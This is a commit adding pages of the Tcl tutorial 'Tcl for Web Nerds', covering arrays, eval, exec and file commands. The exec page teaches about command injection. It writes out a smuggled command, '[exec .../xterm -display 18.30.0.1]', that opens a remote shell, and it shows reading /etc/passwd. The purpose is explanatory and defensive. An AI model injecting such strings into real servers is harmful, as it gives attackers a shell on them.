Commit edeb2e59 authored by podesign's avatar podesign

- added TCL for Web Nerds

parent cb364d93
<html>
<head>
<title>Array Operations</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=white text=black>
<h2>Array Operations</h2>
part of <a href="index.adp">Tcl for Web Nerds</a>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
Tcl arrays are actually hash tables and have nothing in common with
the data structures called arrays in other programming languages . A
Tcl array provides a rapid answer to the question "is there a value
associated with this key". Here is a rat-simple example:
<blockquote>
<code><pre>
% set numeric_day(Sunday) 0
0
% set numeric_day(Monday) 1
1
% set numeric_day(Tuesday) 2
2
% # pull one value out of the hash table
% set numeric_day(Monday)
1
% # let's ask Tcl what keys are defined in the hash table
% array names numeric_day
Monday Sunday Tuesday
% # let's see if there are values for Sunday and Wednesday
% info exists numeric_day(Sunday)
1
% info exists numeric_day(Wednesday)
0
</pre></code>
</blockquote>
You don't have to declare to Tcl that you're going to treat a
particular variable as an array; just start setting variables with the
form "variable_name(key)".
<h3>You <em>Can</em> Use Tcl Array with Numbers as Keys</h3>
Here's a procedure that computes Fibonacci numbers in linear time by
storing intermediate values in an array called <code>fibvals</code>.
It uses the <code>for</code> loop, which we'll see
again in the section on <a href="control-structure.adp">control structure</a>.
<blockquote>
<code><pre>
proc fib {n} {
set fibvals(0) 0
set fibvals(1) 1
for {set i 2} {$i <= $n} {incr i} {
set fibvals($i) [expr $fibvals([expr $i - 1]) + $fibvals([expr $i - 2])]
}
return $fibvals($n)
}
</pre></code>
</blockquote>
<h3>Dealing with spaces inside your keys</h3>
If your index contains spaces, it will confuse the Tcl parser . For
example, imagine an array called <code>snappy_response</code> that
contains appropriate responses to various insults, which are used as
the indices to the array. Suppose you want to store a response for
"Have you gained weight?". You can't feed this to Tcl as
<blockquote>
<code><pre>
set snappy_response(Have you gained weight?) "Your mama is so fat when
she goes to beach little kids shout out 'Free Willy'!"
</pre></code>
</blockquote>
Alternatives that work:
<UL>
<LI>Escape all the spaces with backslash: <BR>
<code>set snappy_response(Have\ you\ gained\ weight?) "Your mama..."</code>
<LI>Enclose the array name and parenthesized key in curly braces:<BR>
<code>set {snappy_response(Have you gained weight?)} "Your mama..."</code>
<LI>Name the index with a variable and then use the variable:
<BR>
<code>set this_insult "Have you gained weight?" <BR>
set snappy_response($this_insult) "Your mama..."
</code>
</UL>
<blockquote>
<code><pre>
% set {snappy_response(Have you gained weight?)}
Your mama is so fat when she goes to beach little kids shout out 'Free Willy'!
</pre></code>
</blockquote>
<h3>How We Actually Use Tcl Arrays: Caching</h3>
One of the nice things about AOLserver is that it is a single Unix
process. Thus it is easy for the result of an expensive computation
to be cached for later use by another thread. Here is an extremely
powerful procedure that enables a programmer to cache the result of
executing any Tcl statement:
<blockquote>
<code><pre>
proc memoize {tcl_statement} {
# tell AOLserver that this variable is to be shared among threads
ns_share generic_cache
# we look up the statement in the cache to see if it has already
# been eval'd. The statement itself is the key
if { ![info exists generic_cache($tcl_statement)] } {
# not in the cache already
set statement_value [eval $tcl_statement]
set generic_cache($tcl_statement) $statement_value
}
return $generic_cache($tcl_statement)
}
</pre></code>
</blockquote>
This first time this procedure is called with a particular argument,
the Tcl statement is evaluated (using Tcl's built-in <code>eval</code>
command). The result of that evaluation is then stored in the array
variable <code>generic_cache</code> with a key consisting of the full
Tcl statement. The next time <code>memoize</code> is called with the
same argument, the <code>info exists
generic_cache($tcl_statement)</code> will evaluate to true and the
value will be returned from the cache.
<p>
Here's how a piece of code might look before:
<blockquote>
<code><pre>
ns_return 200 text/html [page_with_top_10_popular_items]
</pre></code>
</blockquote>
If someone notices that (1) <code>page_with_top_10_popular_items</code>
requires sweeping the database and takes 30 seconds to execute, and
(2) the result doesn't change more than once or twice a day, the
natural conclusion is memoization:
<blockquote>
<code><pre>
ns_return 200 text/html [memoize "page_with_top_10_popular_items"]
</pre></code>
</blockquote>
<p class="marginnote">
Our actual toollkit contains Memoize and Memoize_for_Awhile, the
latter of which takes an argument of after how many seconds the
information in the cache should be considered stale and reevaluated.
<h3>How We Actually Use Tcl Arrays: In-Memory Database</h3>
Typically on the Web the last thing that you'd want is an in-memory
database. If the server crashes or the user gets bounced to another
machine by a load-balancer, you don't want critical data to be trapped
inside a Web server's virtual memory. However, there is one situation
where you would want an in-memory database: to store information
about the server itself.
<p>
In the ArsDigita Community System, an attempt is made to document
every externally-called procedure. We want to build up a
documentation database that grows as procedures are defined on a
running server. The fundamental mechanism is to define procedures
using our own procedure, <code>proc_doc</code>. This takes a
documentation string as an extra argument, calls
<code>proc</code> to actually define the procedure, then records in a
Tcl array variable the file from which the procedure definition was
read and the doc string:
<blockquote>
<code><pre>
proc proc_doc {name args doc_string body} {
ns_share proc_doc
ns_share proc_source_file
# let's define the procedure first
proc $name $args $body
set proc_doc($name) $doc_string
set proc_source_file($name) [info script]
}
</pre></code>
</blockquote>
The end-result? <a
href="http://photo.net/doc/procs.tcl">http://photo.net/doc/procs.tcl</a>.
<h3>Full Documentation</h3>
Tcl provides support for iterating through the indices, and for
coverting lists to arrays. These are documented in
<a href="http://www.scriptics.com/man/tcl7.5/TclCmd/array.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/array.n.html</a>
<h3>ns_set instead</h3>
If you're using AOLserver and need to associate keys with values, you
might be better off using the ns_set data structure. The advantages
of ns_set over Tcl arrays are the following:
<ul>
<li>you can easily pass ns_sets from procedure to procedure
<li>you can easily pass ns_sets from C code to Tcl and vice versa
</ul>
A disadvantage of ns_sets is that they require <i>O[n]</i> time to
look up the value of key, compared to <i>O[1}</i> time for the Tcl
array, which, as noted above, is actually a hash table. If you are
managing thousands of keys, this might become significant. Otherwise,
program using whichever data structure seems more natural.
<p>
See the Tcl Developer's guide at <a
href="http://www.aolserver.com">www.aolserver.com</a> for
documentation of the ns_set facility.
<p>
<BR><BR>
Continue on to <A HREF="numbers.adp">Numbers</A>.
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><h3>Reader's Comments</h3></center>
<blockquote>
Another way to pass key/value pairs , especially between threads is to use nsv_set etc
<br><br>
-- <A HREF="/shared/community-member?user_id=19369">Jamie Ross</a>, January 12, 2005</blockquote>
<center><a href="/comments/add?page_id=4732">Add a comment</a> | <a href="/links/add?page_id=4732">Add a link</a></center>
</body>
</html>
<html>
<head>
<title>Index</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=white text=black>
<h2>Index</h2>
part of <a href="index.adp">Tcl for Web Nerds</a>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
<ul>
<li> <a href="numbers.adp"><code>abs</code></a>
<li> <a href="numbers.adp"><code>acos</code></a>
<li> <a href="strings.adp"><code>append</code></a>
<li> <a href="numbers.adp"><code>asin</code></a>
<li> <a href="numbers.adp"><code>atan</code></a>
<li> <a href="numbers.adp"><code>atan2</code></a>
<li> <a
href="control-structure.adp"><code>break</code></a>
<li> <a
href="control-structure.adp"><code>catch</code></a>
<li> <a href="numbers.adp"><code>ceil</code></a>
<li> <a
href="file-commands.adp"><code>close</code></a>
<li> <a
href="list-operations.adp"><code>concat</code></a>
<li> <a
href="control-structure.adp"><code>continue</code></a>
<li> <a href="numbers.adp"><code>cos</code></a>
<li> <a href="numbers.adp"><code>cosh</code></a>
<li> <a href="numbers.adp"><code>double</code></a>
<li> <a
href="control-structure.adp"><code>error</code></a>
<li> <a
href="file-commands.adp"><code>eof</code></a>
<li> <a href="exec.adp"><code>exec</code></a>
<li> <a
href="introduction.adp"><code>exit</code></a>
<li> <a href="numbers.adp"><code>exp</code></a>
<li> <a href="numbers.adp"><code>expr</code></a>
<li> <a href="eval.adp"><code>eval</code></a>
<li> <a href="file-commands.adp"><code>file
atime</code></a>
<li> <a href="file-commands.adp"><code>file
dirname</code></a>
<li> <a href="file-commands.adp"><code>file
executable</code></a>
<li> <a href="file-commands.adp"><code>file
exists</code></a>
<li> <a href="file-commands.adp"><code>file
extension</code></a>
<li> <a href="file-commands.adp"><code>file
isdirectory</code></a>
<li> <a href="file-commands.adp"><code>file
isfile</code></a>
<li> <a href="file-commands.adp"><code>file
lstat</code></a>
<li> <a href="file-commands.adp"><code>file
mtime</code></a>
<li> <a href="file-commands.adp"><code>file
owned</code></a>
<li> <a href="file-commands.adp"><code>file
readable</code></a>
<li> <a href="file-commands.adp"><code>file
readlink</code></a>
<li> <a href="file-commands.adp"><code>file
rootname</code></a>
<li> <a href="file-commands.adp"><code>file
size</code></a>
<li> <a href="file-commands.adp"><code>file
stat</code></a>
<li> <a href="file-commands.adp"><code>file
tail</code></a>
<li> <a href="file-commands.adp"><code>file
type</code></a>
<li> <a href="file-commands.adp"><code>file
writable</code></a>
<li> <a href="numbers.adp"><code>floor</code></a>
<li> <a
href="file-commands.adp"><code>flush</code></a>
<li> <a href="numbers.adp"><code>fmod</code></a>
<li> <a
href="control-structure.adp"><code>for</code></a>
<li> <a
href="control-structure.adp"><code>foreach</code></a>
<li> <a href="strings.adp"><code>format</code></a>
<li> <a
href="file-commands.adp"><code>gets</code></a>
<li> <a href="numbers.adp"><code>hypot</code></a>
<li> <a
href="procedures.adp"><code>global</code></a>
<li> <a
href="control-structure.adp"><code>if</code></a>
<li> <code>incr</code> -- not listed in
<cite>TCLfWN</cite>; here's the
description at <a
href="http://www.scriptics.com/man/tcl8.0/TclCmd/incr.htm">
scriptics</a>
<li> <a href="introduction.adp"><code>info
args</code></a>
<li> <a href="introduction.adp"><code>info
body</code></a>
<li> <a href="introduction.adp"><code>info
exists</code></a>
<li> <a href="introduction.adp"><code>info
local</code></a>
<li> <a href="introduction.adp"><code>info
procs</code></a>
<li> <a href="numbers.adp"><code>int</code></a>
<li> <a
href="list-operations.adp"><code>join</code></a>
<li> <a
href="list-operations.adp"><code>lindex</code></a>
<li> <a
href="list-operations.adp"><code>linsert</code></a>
<li> <a
href="list-operations.adp"><code>list</code></a>
<li> <a
href="list-operations.adp"><code>llength</code></a>
<li> <a href="numbers.adp"><code>log</code></a>
<li> <a href="numbers.adp"><code>log10</code></a>
<li> <a
href="list-operations.adp"><code>lrange</code></a>
<li> <a
href="list-operations.adp"><code>lreplace</code></a>
<li> <a
href="list-operations.adp"><code>lsearch</code></a>
<li> <a
href="list-operations.adp"><code>lsort</code></a>
<li> <a
href="file-commands.adp"><code>open</code></a>
<li> <a href="numbers.adp"><code>pow</code></a>
<li> <a
href="procedures.adp"><code>proc</code></a>
<li> <a
href="file-commands.adp"><code>puts</code></a>
<li> <a
href="file-commands.adp"><code>read</code></a>
<li> <a
href="pattern-matching.adp"><code>regexp</code></a>
<li> <a
href="pattern-matching.adp"><code>regsub</code></a>
<li> <a
href="procedures.adp"><code>rename</code></a>
<li> <a
href="control-structure.adp"><code>return</code></a>
<li> <a href="numbers.adp"><code>round</code></a>
<li> <a href="strings.adp"><code>scan</code></a>
<li> <a
href="file-commands.adp"><code>seek</code></a>
<li> <a
href="introduction.adp"><code>set</code></a>
<li> <a href="numbers.adp"><code>sin</code></a>
<li> <a href="numbers.adp"><code>sinh</code></a>
<li> <a
href="list-operations.adp"><code>split</code></a>
<li> <a href="numbers.adp"><code>sqrt</code></a>
<li> <a href="strings.adp"><code>string
compare</code></a>
<li> <a href="strings.adp"><code>string
first</code></a>
<li> <a href="strings.adp"><code>string
last</code></a>
<li> <a href="strings.adp"><code>string
match</code></a>
<li> <a href="strings.adp"><code>string
range</code></a>
<li> <a href="strings.adp"><code>string
tolower</code></a>
<li> <a href="strings.adp"><code>string
toupper</code></a>
<li> <a href="strings.adp"><code>string
trim</code></a>
<li> <a href="strings.adp"><code>string
trimleft</code></a>
<li> <a href="strings.adp"><code>string
trimright</code></a>
<li> <a href="strings.adp"><code>string
wordend</code></a>
<li> <a href="strings.adp"><code>string
wordstart</code></a>
<li> <a href="numbers.adp"><code>subst</code></a>
<li> <a
href="control-structure.adp"><code>switch</code></a>
<li> <a href="numbers.adp"><code>tan</code></a>
<li> <a href="numbers.adp"><code>tanh</code></a>
<li> <a
href="file-commands.adp"><code>tell</code></a>
<li> <code>uplevel</code> -- not listed in
<cite>TCLfWN</cite>; description at Scriptics:
<a href="http://www.scriptics.com/man/tcl7.5/TclCmd/uplevel.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/uplevel.n.html</a>
<li> <a href="procedures.adp"><code>upvar</code></a>
<li> <a href="control-structure.adp"><code>while</code></a>
</ul>
<blockquote>
Contributed by Colin Roald (<a
href="mailto:colin@gungeralv.org">colin@gungeralv.org</a>) on
September 11, 1999.
</blockquote>
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><a href="/comments/add?page_id=4738">Add a comment</a> | <a href="/links/add?page_id=4738">Add a link</a></center>
</body>
</html>
This diff is collapsed.
<html>
<head>
<title>Eval</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=white text=black>
<h2>Eval</h2>
part of <a href="index.adp">Tcl for Web Nerds</a>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
The interpreter can be called explicitly to complete extra rounds of
substitutions or simply to interpret an additional time, using the
subst and eval instructions respectively. The <b><code>eval</code></b>
command takes a string argument which is a command, as follows:
<blockquote>
<code><pre>
% set cmd {puts stdout "Hello, World!"}
puts stdout "Hello, World!"
% eval $cmd
Hello, World!
</pre></code>
</blockquote>
The <b><code>subst</code></b> command does the single round of
substitution ordinarily completed by the interpreter, but without
invoking any command. It takes one argument, the string to be
substituted into.
<blockquote>
<code><pre>
% set a "foo bar"
foo bar
% subst {a=$a date=[exec date]}
a=foo bar date=Thu Feb 30 1:11:11 EST 1901
</pre></code>
</blockquote>
While curly braces normally prevent internal substitution, they are
not respected by the <code>subst</code> command. In order to prevent
the single round of substitution, the backslash must be used before
special characters like a dollar sign or square brackets.
<br>
<br>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/eval.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/eval.n.html</a>
<br>
<br>
Continue on to <A HREF="exec.adp"><code>exec</code></A>.
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><a href="/comments/add?page_id=4736">Add a comment</a> | <a href="/links/add?page_id=4736">Add a link</a></center>
</body>
</html>
<html>
<head>
<title>Exec</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=white text=black>
<h2>Exec</h2>
part of <a href="index.adp">Tcl for Web Nerds</a>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
You can invoke other Unix programs from within a Tcl script. For a
Web developer this is either a tremendous convenience or a dangerous
security hole.
<p>
Let's cover the convenience part first. If we want to have a Web page
that displays how long the server has been up and the current load
average, the <code>exec</code> command is helpful:
<blockquote>
<code><pre>
% exec /usr/bin/uptime
4:04pm up 29 days, 4:32, 3 users, load average: 0.61, 0.66, 0.63
</pre></code>
</blockquote>
To make an AOLserver Tcl page that returns this output, you need only
wrap the <code>exec</code> in an API call:
<blockquote>
<code><pre>
ns_return 200 text/plain [exec /usr/bin/uptime]
</pre></code>
</blockquote>
The photo sharing system at http://photo.net/photodb/ stores
user-uploaded content in the Unix file system and hence makes
extensive use of Unix commands to create directories, build thumnails
of uploaded images, etc. Here are some examples of how the photodb
system uses <code>exec</code>:
<blockquote>
<code><pre>
# see how much disk space a user is consuming
set disk_usage [exec du -k $data_path]
# find out how large an uploaded image is (X-Y pixel size)
# by invoking the ImageMagick command "identify"
set identify_str [exec /usr/local/bin/identify -verbose $filename]
regexp {geometry: ([0-9]*)x([0-9]*)} $identify_str match image_x image_y
# create a thumbnail-sized image using the ImageMagick command "convert"
set result_status [exec /usr/local/bin/convert $filename -geometry $size_sm -quality 75 $filename_sm]
# remove a directory of user-uploaded images
if [catch { exec rm -f $path } errmsg] ...
</pre></code>
</blockquote>
<h3>The Dangerous Part</h3>
Scripting languages like Perl or Tcl are convenient for Web
development but it is possible to write a script that takes
user-supplied input and evaluates it. With Tcl, you run the risk that
a user will upload a string containing "[exec /usr/openwin/bin/xterm
-display 18.30.0.1]". Because of the [] characters, if this string is
ever fed to <code>eval</code> or <code>subst</code> a cracker would
have a shell on your Web server.
<p>
If you don't need to use <code>exec</code> an easy solution to the
problem is to redefine it:
<blockquote>
<code><pre>
% proc exec args { return "happy happy joy joy" }
% exec cat /etc/passwd
happy happy joy joy
</pre></code>
</blockquote>
<p>
If you do need to use <code>exec</code>, at least make sure that your
Web server is running as an unprivileged user with limited authority
to execute Unix programs. Depending on your publishing requirements
and choice of Web server, it may be possible to run the Web server in
a chroot() environment (this is very easy with AOLserver 3.0). This
changes the root directory as far as the Web server is concerned.
Thus a Tcl program running within the Web server will not be able to
even look at files or programs elsewhere on the computer.
<p>
If you decide to run chrooted, you will have to copy any programs that
you actually do need to exec so that they are underneath the Web
server's root directory.
<br>
<br>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/exec.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/exec.n.html</a>
<br>
<br>
This is the last of the main Tcl topics. For more information, check
out <A HREF="http://www.aolserver.com">aolserver.com</A> and the books
referenced in this book.
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><a href="/comments/add?page_id=4727">Add a comment</a> | <a href="/links/add?page_id=4727">Add a link</a></center>
</body>
</html>
<html>
<head>
<title>File Operations</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=white text=black>
<h2>File Operations</h2>
part of <a href="index.adp">Tcl for Web Nerds</a>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
Tcl has a built-in interface for dealing with Unix files. The
commands themselves are relatively straightforward, so we'll just
explain them in a reference list below.
<H3>Reference</H3>
<UL>
<LI><code>file atime <i>filename</i></code><br>
<i>Returns as a decimal number the time that the file was last accessed.</i>
<blockquote>
<code><pre>
set access_time [file atime "index.adp"] <i>==> 916612934 </i>
</pre></code>
</blockquote>
<LI><code>file dirname <i>filename</i></code><br>
<i>Returns the name of the parent directory of the file.</i>
<blockquote>
<code><pre>
set parent_dir [file dirname "~/home/dir/this.adp"] <i>==> ~/home/dir</i>
</pre></code>
</blockquote>
<LI><code>file executable <i>filename</i></code><br>
<i>Returns 1 if the file is executable, 0 otherwise.</i>
<blockquote>
<code><pre>
chmod 1111 billg-wealth.tcl
file executable billg-wealth.tcl <i>==> 1</i>
</pre></code>
</blockquote>
<LI><code>file exists <i>filename</i></code> <br>
<i>Returns 1 if the file exists, 0 otherwise.</i>
<blockquote>
<code><pre>
file exists billg-wealth.tc <I>==> 0</i>
file exists billg-wealth.tcl <I>==> 1</i>
</pre></code>
</blockquote>
<LI><code>file extension <i>filename</i></code><br>
<i>Returns the file extension of the file (i.e. from the last dot to
the end)</i>
<blockquote>
<code><pre>
file extension billg-wealth.tcl <i>==> .tcl</i>
</pre></code>
</blockquote>
<LI><code>file isdirectory <i>filename</i></code><br>
<i>Returns 1 if the file is a directory, 0 otherwise.</i>
<blockquote>
<code><pre>
file isdirectory . <i>==> 1</i>
file isdirectory billg-wealth.tcl <i>==> 0</i>
</pre></code>
</blockquote>
<LI><code>file isfile <i>filename</i></code><br>
<i>Returns 1 if the file is not a directory, symbolic link, or
device, 0 otherwise.</i>
<blockquote>
<code><pre>
file isfile billg-wealth.tcl <i>==> 1</i>
</pre></code>
</blockquote>
<LI><code>file lstat <i>filename variablename</i></code><br>
<i>Puts the results of the <code>stat</code> command on linkname into
variablename.</i>
<blockquote>
<code><pre>
<i>ln -s billg-wealth.tcl temp.tcl</i>
file lstat temp.tcl temp <i>==> (array holding stat info)</i>
</pre></code>
</blockquote>
<LI><code>file mtime <i>filename</i> </code><br>
<i>Returns the modify time of file as a decimal string.</i>
<blockquote>
<code><pre>
file modify billg-wealth.tcl <i>==> 915744902</i>
</pre></code>
</blockquote>
<LI><code>file owned <i>filename</i></code><br>
<i>Returns 1 if the current user owns the file, else 0.</i>
<blockquote>
<code><pre>
file owned billg-wealth.tcl <i>==> 1</i>
</pre></code>
</blockquote>
<LI><code>file readable <i>filename</i></code><br>
<i>Returns 1 if the file is readable, else 0.</i>
<blockquote>
<code><pre>
file readable billg-wealth.tcl <i>==> 1</i>
</pre></code>
</blockquote>
<LI><code>file readlink <i>filename</i></code><br>
<i>Returns the contents of the symbolic link named filename.</i>
<blockquote>
<code><pre>
<i>ln -s file.txt file1.txt</i>
file readlink file1.txt <i>==> file.txt</i>
</pre></code>
</blockquote>
<LI><code>file rootname <i>filename</i></code><br>
<i>Returns all but the extension and the last . of the filename.</i>
<blockquote>
<code><pre>
file rootname billg-wealth.tcl <i>==> billg-wealth</i>
</pre></code>
</blockquote>
<LI><code>file size <i>filename</i></code><br>
<i>Returns the size in bytes of the file.</i>
<blockquote>
<code><pre>
file size billg-wealth.tcl <i>==> 774</i>
</pre></code>
</blockquote>
<LI><code>file stat <i>filename variablename</i></code><br>
<i>Returns the stat results about the file into the array named
variablename. The elements of the variable array are: atime, ctime,
dev, gid, ino, mode, mtime, nlink, size, type, and uid.</i>
<blockquote>
<code><pre>
file stat billg-wealth.tcl billg_info
set $billg_info(ctime) <i>==> 916615489</i>
</pre></code>
</blockquote>
<LI><code>file tail <i>filename</i></code><br>
<i>Returns all of the characters after the last / in the filename.</i>
<blockquote>
<code><pre>
file tail ~/home/dir/subdir/file.txt <i>==> file.txt</i>
</pre></code>
</blockquote>
<LI><code>file type <i>filename</i></code><br>
<i>Returns the type identified of the filename arg, which can be one of the
following: file, directory, characterSpecial, blockSpecial, fifo,
link, or socket.</i>
<blockquote>
<code><pre>
file type billg-wealth.tcl <i>==> file</i>
</pre></code>
</blockquote>
<LI><code>file writable <i>filename</i></code><br>
<i>Returns 1 if the file is writable, 0 otherwise.</i>
<blockquote>
<code><pre>
file writable billg-wealth.tcl <i>==> 0</i>
</pre></code>
</blockquote>
</UL>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/file.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/file.n.html</a>
<H3>Input/Output Commands</H3>
<UL>
<LI><code>open <i>filename ?access? ?permissions?</i></code><br>
<i>Returns a stream handle to open the file for the access specified
with the permissions specified. Defaut values are read for the access
required and the permissions are the same as the default permissions
on a file. The access value options are r (read from existing file), r+
(read from and write to existing file), w (write over or create and
write to file as necessary), w+ (read from and write to or create file
as necessary), a (write to existing file; append data to it), a+ (read
from and write to existing file; append data to it).</i>
<blockquote>
<code><pre>
set this_file_stream [open /tmp/file.txt r]
</pre></code>
</blockquote>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/open.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/open.n.html</a>
<br>
<br>
<LI><code>puts <i>?-nonewline? ?stream? string</i></code><br>
<i>Write the string to the stream. Default is STDOUT.</i>
<blockquote>
<code><pre>
puts "Hello, world." <i>==> Hello, world.</i>
</pre></code>
</blockquote>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/puts.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/puts.n.html</a>
<br>
<br>
<LI><code>gets <i>stream ?varname?</i></code><br>
<i>Read a line from the stream. If a variable is specified, put the
line into that variable.</i>
<blockquote>
<code><pre>
gets $thisstream line
</pre></code>
</blockquote>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/gets.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/gets.n.html</a>
<br>
<br>
<LI><code>read <i>streamname ?numbytes?</i></code><br>
<i>If numbytes is specified, read that many bytes of the stream. If
not, read the whole stream.</i>
<blockquote>
<code><pre>
set first_ten_bytes [read $this_stream 10]
</pre></code>
</blockquote>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/read.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/read.n.html</a>
<br>
<br>
<LI><code>read -nonewline <i>streamname</i></code><br>
<i>Read the whole stream and discard the last newline.</i>
<blockquote>
<code><pre>
set this_file_contents [read -nonewline $this_stream]
</pre></code>
</blockquote>
<LI><code>tell <i>streamname</i></code><br>
<i>Return the "seek offset." (See below for seek.)</i>
<blockquote>
<code><pre>
set seek_offset [tell $this_stream]
</pre></code>
</blockquote>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/tell.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/tell.n.html</a>
<br>
<br>
<li><code>seek <i>streamname offset ?origin?</i></code><br>
<i>Set the seek offset. Origin is either <code>start, current, or
end</code>.</i>
<blockquote>
<code><pre>
seek $this_stream offset end
</pre></code>
</blockquote>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/seek.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/seek.n.html</a>
<br>
<br>
<LI><code>eof <i>stream</i></code><br>
<i>Returns 1 if you have reached the end of the stream; 0 otherwise.</i>
<blockquote>
<code><pre>
if {[eof $this_stream]} {
break
}
</pre></code>
</blockquote>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/eof.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/eof.n.html</a>
<br>
<br>
<LI><code>flush <i>streamname</i></code><br>
<i>Write buffers of a stream</i>
<blockquote>
<code><pre>
flush $this_stream
</pre></code>
</blockquote>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/flush.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/flush.n.html</a>
<br>
<br>
<li><code>close <i>streamname</i></code><br>
<i>Close the stream.</i>
<blockquote>
<code><pre>
close $this_stream
</pre></code>
</blockquote>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/close.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/close.n.html</a>
</UL>
<br>
<br>
Continue on to <A HREF="eval.adp"><code>eval</code></A>.
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><a href="/comments/add?page_id=4735">Add a comment</a> | <a href="/links/add?page_id=4735">Add a link</a></center>
</body>
</html>
<html>
<head>
<title>Tcl for Web Nerds</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=#ffffff text=#000000>
<h2>Tcl for Web Nerds</h2>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
<img src="tcl.jpg" align=right>
<ol>
<a href="preface.adp">Preface</a>
<br>
<br>
<li><a href="introduction.adp">Introduction</a>
<li><A HREF="strings.adp">Strings</A>
<li><A HREF="list-operations.adp">Lists</A>
<li><A HREF="pattern-matching.adp">Pattern matching</A>
<li><A HREF="array-operations.adp">Arrays</A>
<li><A HREF="numbers.adp">Numbers and Arithmetic</A>
<li><A HREF="control-structure.adp">Control structure</A>
<li><A HREF="procedures.adp">Procedures</A>
<li><A HREF="file-commands.adp">File commands</A>
<li><code><A HREF="eval.adp">eval</A></code>: building Tcl commands
with Tcl and feeding them back to Tcl
<li><code><A HREF="exec.adp">exec</A></code>: building Unix commands
with Tcl and feeding them to Unix
<li><A HREF="more.adp">Further Study</A>
<br>
<br>
<a href="book-index.adp">Index</a>
</ol>
<br>
For more information, please see <A
HREF="http://www.aolserver.com">http://www.aolserver.com</A>
<br>
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><a href="/comments/add?page_id=4723">Add a comment</a> | <a href="/links/add?page_id=4723">Add a link</a></center>
</body>
</html>
<html>
<head>
<title>Tcl for Web Nerds</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=#ffffff text=#000000>
<h2>Tcl for Web Nerds</h2>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
<img src="tcl.jpg" align=right>
<ol>
<a href="preface.adp">Preface</a>
<br>
<br>
<li><a href="introduction.adp">Introduction</a>
<li><A HREF="strings.adp">Strings</A>
<li><A HREF="list-operations.adp">Lists</A>
<li><A HREF="pattern-matching.adp">Pattern matching</A>
<li><A HREF="array-operations.adp">Arrays</A>
<li><A HREF="numbers.adp">Numbers and Arithmetic</A>
<li><A HREF="control-structure.adp">Control structure</A>
<li><A HREF="procedures.adp">Procedures</A>
